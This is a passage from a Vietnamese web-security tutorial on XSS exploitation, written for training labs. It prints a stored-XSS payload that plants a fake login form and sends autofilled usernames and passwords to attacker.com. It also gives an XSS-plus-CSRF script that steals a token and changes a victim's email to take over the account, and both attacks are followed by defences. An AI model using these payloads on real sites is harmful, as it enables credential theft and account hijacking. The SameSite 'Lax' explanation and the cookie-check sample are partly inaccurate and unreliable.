V. Khai thác các lỗ hổng XSS (tiếp)
2. Khai thác XSS đánh cắp mật khẩu tự động điền (autofill)
Có phải các bạn đã từng gặp tình huống sau khi đăng nhập tài khoản ở một trang web nào đó và trình duyệt đã gợi ý việc lưu trữ mật khẩu?
Tính năng lưu trữ mật khẩu không chỉ giúp ích cho chúng ta tìm lại mật khẩu trong trường hợp bị quên sau thời gian dài, mà còn giúp chúng ta tự động điền (autofill) tài khoản ở các lần đăng nhập sau:
Chức năng hữu ích này đã gián tiếp giúp kẻ tấn công có thể lợi dụng lỗ hổng XSS nhằm đánh cắp mật khẩu ở chế độ autofill trên trình duyệt của nạn nhân. Chẳng hạn, kẻ tấn công có thể lợi dụng XSS tạo một form login giả trên trang web với script như sau:
<script> function captureCredentials() { var username = document.getElementById("username").value; var password = document.getElementById("password").value; var data = { "username": username, "password": password }; var xhr = new XMLHttpRequest(); xhr.open("POST", "https://attacker.com/capture", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.send(JSON.stringify(data)); } function createFakeForm() { var form = document.createElement("form"); form.innerHTML = ` <label for="username">Username:</label><br> <input type="text" id="username" name="username"><br> <label for="password">Password:</label><br> <input type="password" id="password" name="password"><br><br> <input type="button" onclick="captureCredentials()" value="Submit"> `; document.body.appendChild(form); } createFakeForm();
</script>
Kết quả sau khi comment, với lỗ hổng Stored XSS sẽ luôn hiển thị form giả này tới mỗi nạn nhân truy cập bài viết chứa script:
Với chức năng auto-fill password sẽ giúp kẻ tấn công thu thập username và password đã lưu của nạn nhân và gửi chúng tới https://attacker.com/capture
bằng XMLHttpRequest()
. Hậu quả của dạng tấn công này nếu thành công sẽ lớn hơn so với việc chỉ đánh cắp được cookie nạn nhân do kẻ tấn công có thể thực hiện việc giả mạo bất cứ lúc nào (trong trường hợp không có xác thực 2FA). Ngoài ra nạn nhân còn có thể bị đánh cắp tài khoản ở các nền tảng khác do người dùng thường lưu trữ các tài khoản khác nhau với chung một mật khẩu!
Với phương thức tấn công sử dụng XSS đánh cắp mật khẩu autofill từ nạn nhân, các bạn có thể luyện tập thêm với lab Exploiting cross-site scripting to capture passwords
Để ngăn chặn dạng tấn công này, chúng ta có một số ý tưởng như sau:
- Ngăn chặn lỗ hổng XSS.
- Sử dụng Content security policies (CSP). (Với phương pháp trên các bạn tham khảo các phần trước)
- Sử dụng giao thức bảo mật: Chẳng hạn như HTTPS, để mã hóa tất cả dữ liệu được truyền giữa trình duyệt của người dùng và máy chủ. Điều này sẽ giúp ngăn kẻ tấn công chặn thông tin nhạy cảm như mật khẩu.
- Sử dụng xác thực hai yếu tố cho trang web.
3. Khai thác XSS thực hiện tấn công CSRF
Các bạn có thể tham khảo thêm về nguyên lý, phương thức tấn công CSRF qua các bài viết về lỗ hổng CSRF. Khi một trang web chứa lỗ hổng XSS, chúng ta có thể kết hợp với lỗ hổng CSRF thực hiện giả mạo nạn nhân thực hiện các thao tác trên tài khoản của họ.
Chẳng hạn, một số trang web cho phép người dùng thay đổi email mà không yêu cầu xác nhận lại mật khẩu. Khi đó kẻ tấn công có thể kết hợp lỗ hổng XSS và CSRF nhằm thay đổi email của nạn nhân thành một email do kẻ tấn công sở hữu, từ đó sử dụng email này thực hiện thay đổi mật khẩu tài khoản đó, từ đó chiếm đoạt tài khoản thành công.
Đoạn script sau minh họa cho quá trình tấn công trên:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=mail-hacker@test.com')
};
</script>
Đoạn script trên thu thập giá trị biến token
từ source code và đổi email người dùng thành mail-hacker@test.com
.
Các bạn có thể luyện tập thêm với phương thức tấn công này trong bài lab Exploiting XSS to perform CSRF
Để ngăn dạng tấn công trên, chúng ta có một số ý tưởng như sau:
- Sử dụng các biện pháp ngăn chặn lỗ hổng XSS.
- Sử dụng Content Security Policy (CSP).
- Sử dụng token CSRF.
Token CSRF là một chuỗi duy nhất mà được gửi kèm với mỗi request tới trang web. Server sẽ kiểm tra token này trước khi thực hiện yêu cầu, và chỉ thực hiện nếu token là hợp lệ. Điều này ngăn chặn tấn công CSRF, vì mã độc không thể tạo ra một yêu cầu với token hợp lệ.
Script minh họa với ngôn ngữ Python:
# Server-side code # Generate a unique CSRF token and store it in the user's session
csrf_token = generate_random_string()
session["csrf_token"] = csrf_token # Render the form template, passing the CSRF token as a hidden field
return render_template("form.html", csrf_token=csrf_token) # Client-side code (form.html) <form action="/submit" method="post"> <input type="hidden" name="csrf_token" value="{{ csrf_token }}"> <!-- Form fields go here -->
</form> # Server-side code (submit handler) def submit(): # Check that the CSRF token in the form matches the one in the user's session if request.form["csrf_token"] != session["csrf_token"]: abort(403) # Process the form submission # ...
- Sử dụng SameSite cookies (Xem thêm tại chủ đề lỗ hổng CSRF)
SameSite cookies là một kiểu cookie có thể sử dụng để ngăn chặn tấn công CSRF. Khi một trang web gửi một cookie đến trình duyệt của người dùng, nó có thể chỉ định rằng cookie này chỉ có thể được sử dụng bởi các yêu cầu từ cùng một tên miền. Điều này ngăn chặn tấn công CSRF, vì mã độc không thể tạo ra một yêu cầu từ một tên miền khác để sử dụng cookie này.
Để bạn đọc hình dung về biện pháp ngăn chặn này, chúng ta xem xét các bước thực hiện như sau:
Bước 1.
Tạo cookie same site: Khi tạo một cookie, các nhà phát triển phần mềm có thể chỉ định thuộc tính "SameSite" của cookie. Có ba giá trị cho thuộc tính này: "Strict", "Lax", và "None".
"Strict": cookie chỉ được gửi với các yêu cầu từ cùng một tên miền. "Lax": cookie sẽ được gửi với các yêu cầu từ cùng một tên miền ngoại trừ các yêu cầu GET. "None": cookie sẽ được gửi với tất cả các yêu cầu, bao gồm cả các yêu cầu từ tên miền khác.
Bước 2
Chỉ định same site cho cookie: Khi tạo cookie, các nhà phát triển phần mềm có thể chỉ định thuộc tính "SameSite" như sau:
# Set the SameSite attribute to "Strict"
response.set_cookie("session_id", value="abcdef", same_site="Strict") # Set the SameSite attribute to "Lax"
response.set_cookie("session_id", value="abcdef", same_site="Lax") # Set the SameSite attribute to "None"
response.set_cookie("session_id", value="abcdef", same_site="None")
Bước 3
Sử dụng cookie same site: Khi xử lý yêu cầu từ người dùng, trang web sẽ kiểm tra xem cookie same site đã được gửi kèm theo yêu cầu có hợp lệ không. Nếu không hợp lệ, trang web sẽ từ chối yêu cầu và hiển thị một thông báo lỗi.
# Set the SameSite attribute to "Strict"
response.set_cookie("session_id", value="abcdef", same_site="Strict") # Check the SameSite attribute on incoming requests
def login(): if request.cookies.get("session_id") is None: abort(403) # Process the login request # ...
Trong ví dụ trên, trang web sẽ tạo một cookie session_id
với thuộc tính SameSite được chỉ định là "Strict". Khi người dùng gửi yêu cầu đăng nhập, trang web sẽ kiểm tra xem cookie session_id
đã được gửi kèm theo yêu cầu có hợp lệ không. Nếu hợp lệ, trang web sẽ thực hiện yêu cầu đăng nhập; ngược lại, trang web sẽ từ chối yêu cầu và hiển thị một thông báo lỗi.